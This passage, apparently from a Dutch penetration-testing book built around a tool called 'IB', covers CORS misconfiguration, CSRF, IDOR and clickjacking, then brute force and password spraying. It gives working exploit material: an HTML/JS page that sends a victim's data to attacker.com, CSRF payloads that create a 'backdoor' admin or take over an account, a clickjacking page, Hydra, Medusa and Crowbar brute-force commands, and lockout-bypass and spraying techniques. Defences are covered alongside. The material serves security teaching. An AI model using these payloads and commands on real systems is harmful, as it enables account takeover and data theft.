Voor “complexe” requests (met custom headers, of met PUT/DELETE methods) stuurt de browser eerst een OPTIONS request – de zogenaamde pre-flight check. Sommige servers beantwoorden die pre-flight met permissieve headers maar vergeten vervolgens de daadwerkelijke request te valideren:

OPTIONS /api/admin/users HTTP/1.1
Origin: https://evil.com

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Credentials: true

CORS detectie in de praktijk

De eerste stap bij het testen van CORS-misconfiguratie is simpel: stuur een request met een willekeurige Origin header en kijk wat er terugkomt.

# Test of de server elke origin reflecteert
curl -s -H "Origin: https://evil.com" \
     -I https://target.com/api/userinfo

# Kijk specifiek naar deze headers:
# Access-Control-Allow-Origin: https://evil.com  ← KWETSBAAR
# Access-Control-Allow-Credentials: true          ← KRITIEK

Als de server je evil.com origin reflecteert en credentials toestaat, heb je een probleem. Een groot probleem.

Test ook de null-origin variant:

curl -s -H "Origin: null" \
     -I https://target.com/api/userinfo

En regex-bypasses:

# Subdomain-bypass
curl -s -H "Origin: https://evil.target.com" -I https://target.com/api/userinfo

# Suffix-bypass
curl -s -H "Origin: https://targetecom.evil.com" -I https://target.com/api/userinfo

# Prefix-bypass
curl -s -H "Origin: https://evil-target.com" -I https://target.com/api/userinfo

CORS-exploit: van misconfiguratie naar datadiefstal

Wanneer je een reflected-origin CORS-misconfiguratie hebt gevonden, is exploitatie triviaal. Je host een HTML-pagina op je eigen server die de browser van het slachtoffer instrueert om de kwetsbare API te bevragen:

<!DOCTYPE html>
<html>
<head><title>Totally Legitimate Page</title></head>
<body>
<h1>Bezig met laden...</h1>
<script>
// De browser van het slachtoffer voert dit uit
// met de cookies van target.com
fetch("https://target.com/api/userinfo", {
    method: 'GET',
    mode: 'cors',
    credentials: 'include'
})
.then(response => response.json())
.then(data => {
    // Stuur alles naar onze server
    fetch("https://attacker.com/collect", {
        method: 'POST',
        body: JSON.stringify(data),
        headers: {'Content-Type': 'application/json'}
    });
})
.catch(err => console.error('Exploit failed:', err));
</script>
</body>
</html>

Het slachtoffer bezoekt deze pagina (via phishing, een gecompromitteerde site, of een advertentie). De browser laadt de pagina, voert het JavaScript uit, stuurt een request naar target.com met de cookies van het slachtoffer, ontvangt de response (want CORS is misconfigureerd), en stuurt de data door naar de aanvaller.

Het slachtoffer ziet niets. Geen pop-ups. Geen waarschuwingen. Geen enkel teken dat er iets mis is.

IB – Het command web_cors_exploit in de Command Library bevat kant-en-klare detectie- en exploitcommando’s voor CORS-misconfiguratie. De exploit-template gebruikt fetch() met credentials: 'include' en stuurt de gestolen data via een tweede fetch() naar je IB-server. Pas het IP-adres aan naar je listener-interface.

11.3 Cross-Site Request Forgery: de onzichtbare hand

Als CORS-misconfiguratie de ambassadeur misleidt om documenten te lezen, dan is Cross-Site Request Forgery (CSRF) de truc waarbij de ambassadeur wordt misleid om documenten te ondertekenen.

Bij CSRF voert het slachtoffer onbedoeld een actie uit op een website waar hij ingelogd is, getriggerd door een pagina die de aanvaller controleert. De aanvaller hoeft de response niet te lezen – hij wil alleen dat de actie uitgevoerd wordt.

Hoe CSRF werkt

De kern van CSRF is verbluffend simpel:

  1. Het slachtoffer is ingelogd bij bank.nl (heeft een geldig sessiecookie)
  2. Het slachtoffer bezoekt een pagina van de aanvaller
  3. Die pagina bevat code die een request stuurt naar bank.nl
  4. De browser voegt automatisch het sessiecookie toe
  5. bank.nl ontvangt een geldig, geauthenticeerd request
  6. De bank voert de actie uit – het was immers een geldig request

De server kan niet zien of het request afkomstig is van de gebruiker die bewust op een knop heeft geklikt, of van een verborgen formulier op een malafide website. Beide requests zijn identiek.

Het is alsof iemand je hand pakt terwijl je slaapt en je handtekening zet onder een contract. De handtekening is echt. De intentie niet.

GET-gebaseerde CSRF

De meest triviale vorm. Als een applicatie state-changing operaties toestaat via GET-requests, is exploitatie zo simpel als een afbeeldingslink:

<!-- Slachtoffer laadt dit in zijn browser -->
<!-- De browser stuurt een GET request met cookies -->
<img src="https://bank.nl/transfer?to=evil&amount=10000" width="0" height="0">

De browser denkt dat hij een afbeelding laadt. In werkelijkheid stuurt hij een GET-request naar de bank, compleet met sessiecookie. De bank ziet een geldig request en voert de transactie uit.

Dit is waarom de HTTP-specificatie zegt dat GET-requests idempotent moeten zijn en geen side effects mogen hebben. GET is voor het ophalen van data. Niet voor het wijzigen ervan. Maar specificaties zijn als snelheidslimieten: iedereen weet dat ze bestaan, en bijna niemand houdt zich eraan.

POST-gebaseerde CSRF

De meeste applicaties gebruiken POST voor state-changing operaties. Dat maakt het iets moeilijker, maar niet veel:

<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/account/email">
    <input type="hidden" name="email" value="evil@attacker.com">
</form>
</body>
</html>

De pagina laadt, het formulier wordt automatisch gesubmit, en het e-mailadres van het slachtoffer wordt gewijzigd naar dat van de aanvaller. Vervolgens kan de aanvaller een wachtwoord-reset aanvragen en het account overnemen.

Dit is een aanval die letterlijk twee regels JavaScript kost en die complete accounts kan overnemen. Twee regels. Geen hacking tools. Geen exploit kits. Gewoon een HTML-formulier.

JSON-gebaseerde CSRF

Moderne applicaties gebruiken vaak JSON-bodies in plaats van form-encoded data. Dat biedt enige bescherming, want standaard HTML-formulieren kunnen geen Content-Type: application/json header sturen. Maar er zijn manieren omheen:

<html>
<body>
<form method="POST" action="https://target.com/api/account/update"
      enctype="text/plain">
    <input name='{"email":"evil@attacker.com","ignore":"' value='"}' type="hidden">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

Dit genereert een body die er zo uitziet:

{"email":"evil@attacker.com","ignore":"="}

Geen geldige JSON als de server strikt parst, maar veel JSON-parsers accepteren trailing data of extra velden. Het enctype="text/plain" zorgt ervoor dat de browser de data als platte tekst stuurt, zonder URL-encoding.

Als de server Content-Type niet valideert, werkt dit. En veel servers valideren dat niet.

De IB CSRF Lab

Incompetent Bastard bevat een ingebouwde CSRF-lab die je kunt gebruiken om CSRF-payloads te testen en te demonstreren. De lab is geimplementeerd in meuk/flask/csrf.py en biedt twee endpoints:

# csrf_bp blueprint registratie
csrf_bp = Blueprint('csrf_bp', __name__,
                    template_folder='html',
                    static_folder='static')

# Endpoint 1: /csrf.js — Levert een JavaScript payload
@csrf_bp.route("/csrf.js", methods=["GET", "POST"])
def csrf_js():
    # Retourneert JavaScript met no-cache headers
    # Content-Type: text/javascript

# Endpoint 2: /csrf/inject.html — Levert een CSRF-injectiepagina
@csrf_bp.route("/csrf/inject.html", methods=["GET", "POST"])
def csrf_pagina():
    # Retourneert een HTML payload

Het /csrf.js endpoint is bijzonder interessant. Het dient als een JavaScript-bestand dat je kunt injecteren via een XSS-kwetsbaarheid in het doelwit. De no-cache headers (Cache-Control: no-cache, no-store, must-revalidate) zorgen ervoor dat de browser altijd de nieuwste versie ophaalt – handig als je de payload aanpast tijdens een test.

Het /csrf/inject.html endpoint levert een volledige HTML-pagina die als CSRF proof-of-concept kan dienen.

IB – De CSRF-lab endpoints accepteren zowel GET als POST requests. Bewerk de pagina-variabelen in meuk/flask/csrf.py om je eigen payloads in te voegen. Het /csrf.js endpoint is ideaal als XSS-payload: als je een reflected XSS hebt gevonden, gebruik dan <script src="http://IB_IP:5000/csrf.js"></script> om je CSRF-payload te laden. De no-cache headers garanderen dat elke wijziging direct actief is.

CSRF-payloads voor verschillende scenario’s

Scenario 1: Wachtwoord wijzigen (form-based)

<html>
<body>
<form id="csrfForm" method="POST"
      action="https://target.com/account/password">
    <input type="hidden" name="new_password" value="Pwned2026!">
    <input type="hidden" name="confirm_password" value="Pwned2026!">
</form>
<script>
    document.getElementById('csrfForm').submit();
</script>
</body>
</html>

Scenario 2: Admin-gebruiker aanmaken (JSON API)

<script>
fetch('https://target.com/api/admin/users', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
        username: 'backdoor',
        password: 'SuperSecret123!',
        role: 'admin'
    })
});
</script>

Let op: dit werkt alleen als de server geen CORS-restrictie heeft op het endpoint, of als je de payload via XSS injecteert op dezelfde origin.

Scenario 3: Account-overname via e-mail wijziging

<html>
<body>
<iframe style="display:none" name="csrf_frame"></iframe>
<form method="POST" action="https://target.com/account/email"
      target="csrf_frame" id="csrfForm">
    <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
    document.getElementById('csrfForm').submit();
    // Na 2 seconden: redirect naar onschuldige pagina
    setTimeout(() => window.location = 'https://google.com', 2000);
</script>
</body>
</html>

Het target="csrf_frame" zorgt ervoor dat de response in een verborgen iframe wordt geladen, zodat het slachtoffer niet merkt dat er iets gebeurt. De redirect na twee seconden maakt de aanval nog onzichtbaarder.

CSRF-bescherming: hoe het hoort

Anti-CSRF tokens

De standaardoplossing: genereer een willekeurig token per sessie (of per request), neem het op in elk formulier als hidden field, en valideer het server-side:

<form method="POST" action="/account/email">
    <input type="hidden" name="csrf_token"
           value="a8f2e1b4c9d73f0e6521ab84d396fe7c">
    <input type="text" name="email">
    <button type="submit">Wijzig e-mail</button>
</form>
# Server-side validatie
@app.route('/account/email', methods=['POST'])
def change_email():
    if request.form.get('csrf_token') != session.get('csrf_token'):
        abort(403, 'Invalid CSRF token')
    # Ga door met de operatie

Een aanvaller op evil.com kan dit token niet lezen (SOP voorkomt dat) en kan dus geen geldig formulier construeren.

SameSite cookies

De modernere oplossing. Het SameSite attribuut op cookies vertelt de browser wanneer hij cookies mag meesturen bij cross-site requests:

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
Waarde Gedrag
Strict Cookie wordt nooit meegestuurd bij cross-site requests
Lax Cookie wordt meegestuurd bij top-level GET navigatie, niet bij POST/iframe/fetch
None Cookie wordt altijd meegestuurd (vereist Secure flag)

Lax is sinds 2020 de default in Chrome. Dit blokkeert de meeste CSRF-aanvallen, maar niet allemaal – GET-gebaseerde CSRF werkt nog steeds met Lax.

Double Submit Cookie

Een variant waarbij het CSRF-token zowel in een cookie als in de request-body wordt meegestuurd. De server vergelijkt beide. Omdat een aanvaller cookies kan sturen (via de browser) maar niet kan lezen of schrijven, kan hij het token niet in de request-body opnemen.

IB – Flask-WTF genereert automatisch CSRF-tokens voor formulieren. Wanneer je een applicatie test die Flask-WTF of een vergelijkbaar framework gebruikt, controleer dan of alle state-changing endpoints het token valideren. Het is verrassend gebruikelijk dat sommige endpoints het token vereisen en andere niet – vooral API-endpoints die later zijn toegevoegd.

11.4 Insecure Direct Object References: de sleutel past overal

Er is iets fundamenteel mis met hoe veel applicaties objecten adresseren. Ze gebruiken voorspelbare, sequentiele identifiers in hun URLs en API-calls, en vertrouwen erop dat de gebruiker alleen zijn eigen objecten opvraagt.

Dat is alsof een hotel kamernummers op de sleutels zet en erop vertrouwt dat gasten alleen hun eigen kamerdeur openen. Technisch gezien past de sleutel van kamer 237 alleen op kamer 237. Maar wat als alle kamers hetzelfde slot hebben, en het enige verschil het nummer is dat je opgeeft?

Insecure Direct Object Reference (IDOR) is precies dat. De applicatie gebruikt een identifier – een getal, een UUID, een bestandsnaam – om een object op te halen, maar controleert niet of de ingelogde gebruiker dat object ook mag zien.

Horizontale en verticale privilege-escalatie

IDOR kent twee smaken:

Horizontale escalatie: Gebruiker A benadert de data van Gebruiker B. Beide hebben hetzelfde privilege-niveau, maar de data is niet van hen.

# Je eigen profiel:
GET /api/user/profile?id=1337

# Het profiel van iemand anders:
GET /api/user/profile?id=1338

Verticale escalatie: Een gewone gebruiker benadert admin-functionaliteit.

# Gewone gebruiker:
GET /api/user/profile?id=1337

# Admin-account:
GET /api/user/profile?id=1

In de praktijk is IDOR vaak de snelste weg naar gevoelige data. Geen SQL injection nodig, geen XSS, geen ingewikkelde exploits. Gewoon een getal veranderen.

IDOR-patronen in het wild

Numerieke IDs in URLs

Het klassieke geval:

GET /api/invoices/4521         → Je eigen factuur
GET /api/invoices/4522         → Factuur van iemand anders
GET /api/invoices/1            → Waarschijnlijk de eerste factuur ooit

Bestandsnamen als referentie

GET /docs/?f=report_1337.pdf   → Je eigen rapport
GET /docs/?f=report_1338.pdf   → Rapport van een ander
GET /docs/?f=report_1.pdf      → Het allereerste rapport

UUIDs die niet willekeurig zijn

UUID v1 is gebaseerd op timestamp en MAC-adres. Als je een UUID v1 ziet, kun je de andere UUIDs berekenen in plaats van raden:

550e8400-e29b-11d4-a716-446655440000    ← UUID v1: timestamp zichtbaar
                                           Volgorde is voorspelbaar

UUID v4 is willekeurig en daardoor veel moeilijker te raden. Maar: zoek in HTML-broncode, JavaScript-bestanden, API-responses en error messages. UUIDs lekken vaker dan je zou denken.

HTTP-method IDOR

Soms blokkeert de applicatie alleen specifieke HTTP-methods:

# Geen toegang:
GET /api/user/1337 → 403 Forbidden

# Maar DELETE werkt wel:
DELETE /api/user/1337 → 200 OK
# Oeps, gebruiker verwijderd

Dit is het beveiligingsequivalent van een deur op slot doen maar het raam open laten staan.

Parameter pollution

Wanneer dezelfde parameter meerdere keren wordt meegestuurd, reageert elke technologie anders:

GET /api/user?id=1337&id=1338
Technologie Gedrag
PHP Gebruikt de laatste waarde: 1338
ASP.NET Combineert: 1337,1338
Node.js (Express) Array: [1337, 1338]
Python (Flask) Eerste waarde: 1337

Dit leidt tot verwarring als de autorisatiecheck een andere waarde gebruikt dan de data-ophaling.

IDOR testen met IB

# Simpele IDOR-scan: itereer over ID-waarden en vergelijk response-grootte
for i in $(seq 1 1000); do
    echo "$i: $(curl -s -b 'session=YOUR_COOKIE' \
        http://target.com/api/user?id=$i -w '%{size_download}')"
done

# Filter op unieke response-groottes om interessante resultaten te vinden
for i in $(seq 1 1000); do
    curl -s -b 'session=YOUR_COOKIE' \
        http://target.com/api/user?id=$i -o /dev/null \
        -w "$i:%{size_download}:%{http_code}\n"
done | sort -t: -k2 -n | uniq -f1

Met Burp Suite Intruder is het nog eenvoudiger: markeer het ID als payload position, stel het payload type in op Numbers (1-10000), en sorteer de resultaten op response size of status code.

IB – Het command web_idor in de Command Library bevat templates voor numerieke ID-iteratie, document-IDOR, UUID-hunting en HTTP-method switching. Combineer het met de IB Command pagina om snel curl-commando’s te genereren met het juiste cookie en target. Controleer altijd zowel horizontale als verticale IDOR: test niet alleen andere gebruikers-IDs, maar ook of je als gewone gebruiker admin-endpoints kunt bereiken.

IDOR-automatisering met Burp Intruder

Een systematische IDOR-test met Burp Suite:

1. Intercept een legitiem request naar /api/user?id=YOUR_ID
2. Stuur naar Intruder (Ctrl+I)
3. Markeer het ID als payload position: id=§1337§
4. Payload type: Numbers
   - From: 1
   - To: 10000
   - Step: 1
5. Start de aanval
6. Sorteer op:
   - Response length (ander = mogelijk data-lek)
   - Status code (200 = toegang, 403 = geblokkeerd)
   - Specifieke string (zoek op "admin", "email", etc.)

Let op: als alle responses dezelfde grootte hebben maar allemaal 200 retourneren, controleer dan de inhoud. Sommige applicaties retourneren altijd 200 maar geven een lege body of een generiek bericht als je geen toegang hebt.

11.5 Clickjacking: de onzichtbare laag

Clickjacking is de aanval waarbij je een gebruiker laat klikken op iets anders dan wat hij denkt te zien. De techniek is eenvoudig: laad de doelwebsite in een transparant iframe, positioneer het over een aantrekkelijke knop, en wacht tot het slachtoffer klikt.

<!DOCTYPE html>
<html>
<head>
<style>
    /* Verberg het target-iframe */
    #target-frame {
        position: absolute;
        top: 0;
        left: 0;
        width: 500px;
        height: 400px;
        opacity: 0.0001;  /* Bijna onzichtbaar */
        z-index: 2;        /* Boven de nep-content */
    }
    /* De lokpagina */
    #decoy {
        position: absolute;
        top: 0;
        left: 0;
        z-index: 1;
    }
    #decoy button {
        margin-top: 120px;
        margin-left: 50px;
        font-size: 24px;
        padding: 15px 30px;
        cursor: pointer;
    }
</style>
</head>
<body>
    <!-- Het doelwit, geladen in een onzichtbaar iframe -->
    <iframe id="target-frame"
            src="https://target.com/account/delete-account">
    </iframe>

    <!-- Wat het slachtoffer ziet -->
    <div id="decoy">
        <h1>Je hebt een prijs gewonnen!</h1>
        <button>Claim je prijs!</button>
    </div>
</body>
</html>

Het slachtoffer ziet een knop die zegt “Claim je prijs!” en klikt erop. In werkelijkheid klikt hij op de “Verwijder mijn account”-knop van de doelwebsite.

Het is een truc die zo oud is als het web zelf, en die nog steeds werkt op verrassend veel sites.

Clickjacking-bescherming

X-Frame-Options header

X-Frame-Options: DENY                 # Mag nooit in een iframe
X-Frame-Options: SAMEORIGIN           # Alleen dezelfde origin mag inframen
X-Frame-Options: ALLOW-FROM https://trusted.com  # Deprecated

Content-Security-Policy: frame-ancestors

De modernere variant, met meer flexibiliteit:

Content-Security-Policy: frame-ancestors 'none';              # Zelfde als DENY
Content-Security-Policy: frame-ancestors 'self';               # Zelfde als SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' https://partner.com;  # Specifieke origins

frame-ancestors in CSP vervangt effectief X-Frame-Options en wordt door alle moderne browsers ondersteund.

JavaScript frame-buster (legacy)

Oudere oplossing, minder betrouwbaar:

// Breek uit het iframe
if (top !== self) {
    top.location = self.location;
}

Dit kan worden omzeild door het sandbox attribuut op het iframe, dat JavaScript-navigatie blokkeert:

<iframe sandbox="allow-forms" src="https://target.com/account/delete">

Vertrouw niet op JavaScript als enige clickjacking-bescherming.

11.6 Alles samenvoegen: een client-side aanvalsketen

In de praktijk staan client-side kwetsbaarheden zelden op zichzelf. Een realistische aanvalsketen combineert meerdere technieken:

1. Ontdek reflected XSS op blog.target.com
   ↓
2. Gebruik XSS om CSRF-token te extraheren van dezelfde origin
   ↓
3. Gebruik het token om een CSRF-aanval uit te voeren:
   e-mailadres van admin wijzigen
   ↓
4. Vraag wachtwoord-reset aan op het nieuwe e-mailadres
   ↓
5. Log in als admin
   ↓
6. Gebruik IDOR op admin-panel om alle gebruikersdata te downloaden

Elke stap op zich is misschien een “medium” bevinding. Samen vormen ze een complete account-overname. Dit is waarom het belangrijk is om niet alleen individuele kwetsbaarheden te rapporteren, maar ook de keten te demonstreren.

Een ontwikkelaar die hoort “er is een CSRF op het e-mail-wijzigingsendpoint” knikt beleefd en zet het op de backlog. Een ontwikkelaar die hoort “ik heb via deze keten het admin-account overgenomen” belt meteen het crisisteam.

11.7 Verdediging: de complete client-side beveiligingschecklist

Maatregel Beschermt tegen Implementatie
CSRF tokens CSRF Token per sessie in elk muterend formulier; server-side validatie
SameSite cookies CSRF SameSite=Strict of Lax op sessiecookies
CORS policy CORS-misconfig Expliciete whitelist van origins; nooit reflected origin
X-Frame-Options Clickjacking DENY of SAMEORIGIN header
CSP frame-ancestors Clickjacking frame-ancestors 'none' of 'self'
Autorisatiechecks IDOR Server-side check: “mag deze gebruiker dit object zien?”
Content-Security-Policy XSS, data-exfil Restrictieve CSP; geen unsafe-inline
Cookie flags Sessiediefstal Secure; HttpOnly; SameSite=Lax

Laten we hier even stilstaan bij het feit dat de meeste client-side kwetsbaarheden die we in dit hoofdstuk hebben besproken, te voorkomen zijn met het instellen van een paar HTTP-headers. Een paar regels tekst. Meer niet. Geen complexe architectuur, geen dure tooling, geen team van tien security engineers. Gewoon headers.

Maar nee. We hebben liever uitgebreide “security awareness trainingen” waarbij iemand van HR een PowerPoint presenteert over het belang van “cyberhygiene”, terwijl de productie-API op datzelfde moment elke Origin header reflecteert als een papegaai die net geleerd heeft wat CORS is. De training kost vijftigduizend euro per jaar. De CORS-fix kost drie regels in nginx.conf. Raad eens welke we kiezen.

11.8 IB Quick Reference

Topic IB Command / Lab Beschrijving
CORS detectie web_cors_exploit curl-gebaseerde CORS-detectie: reflected origin, null origin, regex bypass
CORS exploit web_cors_exploit HTML/JS exploit-template met fetch() en credential stealing
CSRF payloads CSRF Lab (/csrf/inject.html) Configureerbare CSRF proof-of-concept pagina
CSRF via XSS CSRF Lab (/csrf.js) JavaScript CSRF-payload voor injectie via XSS
IDOR testing web_idor Templates voor numerieke ID-iteratie, UUID-hunting, method-switch
IDOR automation web_idor Burp Intruder configuratie en curl one-liners

Samenvatting

De browser is een goedwillende maar naieve ambassadeur. Hij volgt de regels die hij krijgt, maar hij kan niet beoordelen of die regels kloppen. CORS-misconfiguratie vertelt hem dat elke buitenlandse delegatie vertrouwd is. CSRF laat hem documenten ondertekenen namens iemand anders. IDOR opent elke deur als je het juiste kamernummer noemt. En clickjacking legt een onzichtbare laag over alles.

De verdediging is niet ingewikkeld. Het is zelfs beschamend eenvoudig. Maar “eenvoudig” en “gedaan” zijn twee heel verschillende dingen.

In het volgende hoofdstuk verleggen we onze aandacht van de browser naar de poort: authenticatie en sessiemanagement. Want als de deur open is, maakt het niet meer uit hoe goed je ramen zijn.

Authenticatie en Sessiemanagement

Authenticatie en Sessiemanagement

In 1774 bouwde Joseph Bramah een slot dat zo ingenieus was dat hij een uitdaging publiceerde: wie het slot kon openen zonder de originele sleutel, zou tweehonderd guineas ontvangen. Het duurde zevenenzestig jaar voordat iemand dat deed. De Amerikaan Alfred Hobbs kraakte het slot in 1851, na zestien dagen onafgebroken prutsen, op de Great Exhibition in Londen. Het publiek was geschokt. Niet omdat het slot was gekraakt, maar omdat het zo lang had geduurd.

Bramah’s slot was een meesterwerk van mechanische complexiteit. Elke sleutel had achttien posities, elk met meerdere mogelijke dieptes. Het totale aantal combinaties was astronomisch voor die tijd. Het was, voor alle praktische doeleinden, onkraakbaar.

Laten we dat even vergelijken met de digitale sleutels die wij gebruiken. Uit elk onderzoek naar gelekte wachtwoorden komt telkens dezelfde beangstigende realiteit naar voren: de populairste wachtwoorden veranderen nauwelijks. “123456” staat al meer dan tien jaar op de eerste plaats. “password” staat consequent in de top vijf. “qwerty” is een evergreen.

Bramah besteedde jaren aan het ontwerpen van een slot met miljoenen mogelijke combinaties. Wij, met alle computerkracht van de eenentwintigste eeuw tot onze beschikking, kiezen collectief voor het equivalent van een deur op het nachtslot: het voelt alsof het dicht is, maar een stevige duw volstaat.

Dit hoofdstuk gaat over alles wat te maken heeft met de vraag “wie ben jij?” en het vervolgvraag “hoe weet ik dat je het nog steeds bent?”. Het gaat over authenticatie – het proces van identiteitsverificatie – en over sessiemanagement – het proces van het onthouden van die verificatie. En het gaat over alle manieren waarop beide kapotgaan.

12.1 Online brute force: de voordeur intrappen

De meest directe aanval op authenticatie is ook de meest elegantloze: probeer wachtwoorden totdat er een werkt. Brute force is de informatica-versie van elke sleutel aan de bos proberen. Het vereist geen intelligentie, geen creativiteit, en geen diep begrip van het doelsysteem. Het vereist alleen geduld en een goede woordlijst.

Online vs offline brute force

Het onderscheid is cruciaal:

Online brute force: Je probeert wachtwoorden tegen een live service. Elke poging vereist een netwerkverzoek. Dit is langzaam (honderden tot duizenden pogingen per seconde), detecteerbaar (elk mislukt verzoek genereert een logbericht), en vaak gelimiteerd (account lockout na X pogingen).

Offline brute force: Je hebt de wachtwoordhashes al bemachtigd (via SQL injection, database dump, of configuratiefout) en kraakt ze lokaal. Dit is snel (miljoenen tot miljarden pogingen per seconde met GPU), ondetecteerbaar (er is geen netwerkverkeer), en niet gelimiteerd (geen lockout).

In dit hoofdstuk richten we ons primair op online brute force bij webapplicaties. Offline cracking komt aan bod als je al toegang hebt tot hashes.

Hydra: de workhorse

THC Hydra is het Zwitserse zakmes van online brute force. Het ondersteunt tientallen protocollen en is het eerste hulpmiddel dat de meeste pentesters pakken.

SSH brute force:

hydra -L users.txt -P passwords.txt ssh://10.0.0.5 -t 4

HTTP POST login-formulier:

hydra -L users.txt -P passwords.txt 10.0.0.5 \
    http-post-form \
    "/login:username=^USER^&password=^PASS^:Invalid credentials" \
    -t 4

Laten we die laatste regel ontleden, want het formaat is een constante bron van verwarring:

"/login:username=^USER^&password=^PASS^:Invalid credentials"
  |         |                                |
  |         |                                └── Foutmelding in response
  |         └── POST-body met placeholders       (als je dit ziet: wachtwoord fout)
  └── URL van het loginformulier

De drie velden zijn gescheiden door dubbele punten. Het derde veld is de string die Hydra zoekt in de response om te bepalen of een poging is mislukt. Als die string ontbreekt in de response, beschouwt Hydra de poging als succesvol.

HTTP Basic Auth:

hydra -L users.txt -P passwords.txt 10.0.0.5 http-get /admin -t 4

Andere protocollen:

# RDP
hydra -L users.txt -P passwords.txt rdp://10.0.0.5 -t 4

# FTP
hydra -L users.txt -P passwords.txt ftp://10.0.0.5 -t 4

# SMB
hydra -L users.txt -P passwords.txt smb://10.0.0.5 -t 4

# MySQL
hydra -L users.txt -P passwords.txt mysql://10.0.0.5 -t 4

# MSSQL
hydra -L users.txt -P passwords.txt mssql://10.0.0.5 -t 4

De -t 4 parameter beperkt het aantal parallelle threads tot vier. Dit is niet alleen beleefd – het voorkomt account lockout. De meeste lockout-policies tellen mislukte pogingen binnen een tijdvenster. Vier threads houden het tempo laag genoeg om onder de radar te blijven.

Medusa: de alternatieve aanpak

Medusa is Hydra’s minder bekende neef. Het doet grotendeels hetzelfde, maar met een net iets andere syntax:

# SSH
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M ssh -t 4

# HTTP Basic Auth
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M http -m DIR:/admin -t 4

# RDP
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M rdp -t 4

# SMB
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M smbnt -t 4

Crowbar: de specialist

Crowbar (voorheen Levye) is gespecialiseerd in een handvol protocollen maar doet die uitzonderlijk goed. Voor RDP-brute force is het betrouwbaarder dan Hydra:

# RDP (betrouwbaarder dan Hydra voor RDP)
crowbar -b rdp -s 10.0.0.5/32 -U users.txt -C passwords.txt -n 1

# SSH key brute force
crowbar -b sshkey -s 10.0.0.5/32 -u root -k /path/to/keys/ -n 1

# OpenVPN
crowbar -b openvpn -s 10.0.0.5/32 -u admin -C passwords.txt \
    -c /path/to/config.ovpn

De -n 1 parameter beperkt de threads tot een, wat langzamer is maar veel minder kans op valse negatieven geeft bij RDP.

IB – Het command passwd_brute in de Command Library bevat voorbeeldcommando’s voor Medusa, Hydra, Crowbar en Ncrack. Elk commando is voorgeconfigureerd met vier threads (-t 4) om lockout te minimaliseren. De commando’s verwachten bestanden users.txt en passwords.txt – gebruik de IB Task Runner om eerst wachtwoordlijsten te genereren met de gen_passwords taak.

Rate limiting en lockout bypass

Elke fatsoenlijke applicatie implementeert een vorm van bescherming tegen brute force. De meest voorkomende methoden:

Account lockout: Na X mislukte pogingen wordt het account voor Y minuten vergrendeld. Typisch: 5 pogingen, 30 minuten lockout.

Bypass-strategieen: - Spray in plaats van brute: test een wachtwoord tegen vele accounts (zie 12.2) - IP-rotatie: Sommige lockouts zijn IP-gebonden; wissel van IP via proxy - Wacht op reset: Lockout telt binnen een tijdvenster; wacht dat af

Rate limiting: Beperkt het aantal requests per tijdseenheid, ongeacht de gebruiker.

Bypass-strategieen: - Headers manipulatie: Sommige rate limiters vertrouwen op headers:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 10.0.0.1
X-Originating-IP: 192.168.1.1

CAPTCHA: De meest effectieve bescherming tegen geautomatiseerde aanvallen.

Bypass-strategieen: - Controleer of CAPTCHA alleen bij de eerste poging wordt gevraagd - Controleer of de CAPTCHA server-side wordt gevalideerd - Controleer of hetzelfde CAPTCHA-token herhaald kan worden

12.2 Password spraying: de slimme brute force

Klassieke brute force probeert duizenden wachtwoorden tegen een account. Password spraying draait dat om: het probeert een wachtwoord tegen duizenden accounts.

Het verschil is niet alleen tactisch – het is strategisch. Brute force triggert lockout-policies omdat het herhaaldelijk hetzelfde account bestookt. Spraying vermijdt lockout door elk account slechts een of twee keer te proberen per tijdvenster.

En het werkt. In elke organisatie van meer dan honderd medewerkers is er vrijwel altijd iemand die “Welkom01!” als wachtwoord heeft. Of “Zomer2026!”. Of “[Bedrijfsnaam]1!”. Het zijn wachtwoorden die net complex genoeg zijn om aan het wachtwoordbeleid te voldoen – een hoofdletter, een cijfer, een speciaal teken, acht karakters – maar voorspelbaar genoeg om te raden.

Waarom seizoensgebonden wachtwoorden een goudmijn zijn

Veel organisaties dwingen wachtwoordwijzigingen af elke 90 dagen. Het gevolg is voorspelbaar: mensen kiezen wachtwoorden die het seizoen of de maand bevatten, gevolgd door het jaar en een uitroepteken.

Lente2026!
Spring2026!
Zomer2026!
Summer2026!
Welkom2026!
Welcome2026!
Januari2026!

Dit is het directe resultaat van wachtwoordbeleid dat complexiteit afdwingt maar voorspelbaarheid niet meet. Het beleid zegt: “je wachtwoord moet minstens acht tekens bevatten, met een hoofdletter, een cijfer, en een speciaal teken.” Het beleid zegt niet: “je wachtwoord mag niet het huidige seizoen zijn, gevolgd door het jaartal, afgesloten met een uitroepteken.”

Het spray-protocol

Stap 1: Lockout policy controleren

Voordat je sprayt, moet je weten hoeveel pogingen je hebt. Dit is niet optioneel – het is essentieel. Zonder deze informatie kun je honderden accounts locken en een beveiligingsincident veroorzaken.

# Vanuit een domein-machine:
net accounts /domain

# Via crackmapexec (anoniem, als dat lukt):
crackmapexec smb 10.0.0.1 -u '' -p '' --pass-pol

# Via PowerView:
Get-DomainPolicy | select -ExpandProperty SystemAccess

Relevante waarden: - Lockout threshold: aantal pogingen voordat het account wordt vergrendeld - Lockout observation window: het tijdvenster waarin pogingen worden geteld - Lockout duration: hoe lang het account vergrendeld blijft

Stap 2: Gebruikersnamen verzamelen

Je hebt een lijst van geldige gebruikersnamen nodig. Meerdere methoden:

# Kerbrute user enumeration (genereert GEEN lockout-events!)
kerbrute userenum -d CONTOSO.LOCAL --dc 10.0.0.1 \
    /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# LDAP query (als anonymous bind is toegestaan)
ldapsearch -x -H ldap://10.0.0.1 \
    -b "DC=contoso,DC=local" "(objectClass=user)" sAMAccountName \
    | grep sAMAccountName

# RID brute force via crackmapexec
crackmapexec smb 10.0.0.1 -u '' -p '' --rid-brute

